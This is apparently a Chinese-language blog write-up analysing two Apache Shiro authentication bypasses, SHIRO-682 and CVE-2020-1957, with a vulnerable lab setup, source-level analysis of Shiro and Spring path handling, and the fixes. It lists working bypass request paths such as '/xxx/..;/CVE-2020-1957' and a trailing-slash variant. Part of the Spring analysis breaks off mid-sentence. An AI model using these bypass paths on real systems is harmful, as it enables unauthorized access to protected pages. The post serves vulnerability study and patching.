漏洞成因:在 Spring Web 环境中,访问 URI /resource/menus/resource/menus/ 都可以访问相同的资源,但 Shiro 的路径模式匹配机制未能正确处理这两种情况。导致用户可以通过在请求 URI 后添加 / 来绕过 Shiro 的过滤器。

漏洞补丁:[SHIRO-682] fix the potential threat when use “uri = uri + ‘/‘ “ to bypassed shi… by tomsun28 · Pull Request #127 · apache/shiro

漏洞环境

1
2
3
4
5
<dependency>  
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.4.2</version>
</dependency>

漏洞复现

正常访问需要权限的页面/Shiro682,会302跳转到登录页面。

如果在访问url后加一个/,即访问/Shiro682/,可以无需权限访问。

漏洞分析

Shiro对于url的处理前面已经提到过了。通过在PathMatchingFilterChainResolver#getChain方法中,会去调用getPathWithinApplication方法从request请求中获取请求URI,得到的是/Shiro682/。而我们设置的需要鉴权的URI是/Shiro682。而因为请求URI后多一个斜杠,所以无法匹配上,因此不会进过Shiro过滤器。

对于spring的URI处理,会发现它将/Shiro682/和/Shiro682匹配上,因此spring会认为/Shiro682/访问的就是/Shiro682。

对于/admin.html这种访问资源的方法同样有效,会匹配到/** 上,后续会将admin.html取出来,再去resources目录下寻找该资源。具体流程可以自行调试。

漏洞修复

PathMatchingFilterPathMatchingFilterChainResolver设置了一个默认路径分隔符DEFAULT_PATH_SEPARATOR,即为/,如果路径以此结尾,会截取掉。


CVE-2020-1957(Shiro-682的绕过)

Apache Shiro before 1.5.2, when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.

漏洞信息

影响版本:shiro < 1.5.2

漏洞成因: ShiroSpringURL 的处理的差异化。

漏洞补丁:Add tests for WebUtils · apache/shiro@3708d79

漏洞环境

注意我这里的SprintBoot版本是2.1.5.RELEASE,网上常见的POC,即/xxx/../admin,在版本较高的SprintBoot中会返回报错页面。测试发现2.3.12.RELEASE不行,而2.1.5.RELEASE可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<properties>  
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.1.5.RELEASE</spring-boot.version>
</properties>
<dependencies>
......
<!--shiro-spring-->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.1</version>
</dependency>
</dependencies>

补:关于版本的原因后续在该篇文章看到解答——Spring Boot中关于%2e的Trick - Ruilin

当 Spring Boot 版本在小于等于 2.3.0.RELEASE 的情况下,alwaysUseFullPath 为默认值 false,这会使得其获取 ServletPath ,所以在路由匹配时相当于会进行路径标准化包括对 %2e 解码以及处理跨目录,这可能导致身份验证绕过。而反过来由于高版本将 alwaysUseFullPath 自动配置成了 true 从而开启全路径,又可能导致一些安全问题。

漏洞复现

对于路径/CVE-2020-1957,使用以下方式绕过。

1
2
/xxx/..;/CVE-2020-1957
/;/CVE-2020-1957


对于路径/cmisl/CVE-2020-1957,可以使用以下方式绕过。

1
/cmisl;/CVE-2020-1957

漏洞分析

与Shiro-682是因为shiro和spring对路径分隔符/处理的差异化类似。该漏洞是由于shiro和spring对于分号;的差异化处理造成的。就用/xx/..;/CVE-2020-1957来分析

大致一看是在PathMatchingFilterChainResolver#getChain方法中,通过getPathWithinApplication方法获取请求URI时,只得到分号之前的URI,因此没有对应的过滤路径与其匹配。

具体就可以跟进去,到WebUtils#decodeAndCleanUriString,会获取分号的位置,然后截取前面的内容并且返回。


decodeAndCleanUriString
而spring的处理是在UrlPathHelper#

参考链接

Spring Boot中关于%2e的Trick - Ruilin

从 CVE 学 Shiro 安全-3 | 素十八

Java Shiro 权限绕过多漏洞分析 | Drunkbaby’s Blog


Shiro漏洞分析
http://example.com/2024/11/07/Shiro历史漏洞分析/
作者
cmisl
发布于
2024年11月7日
许可协议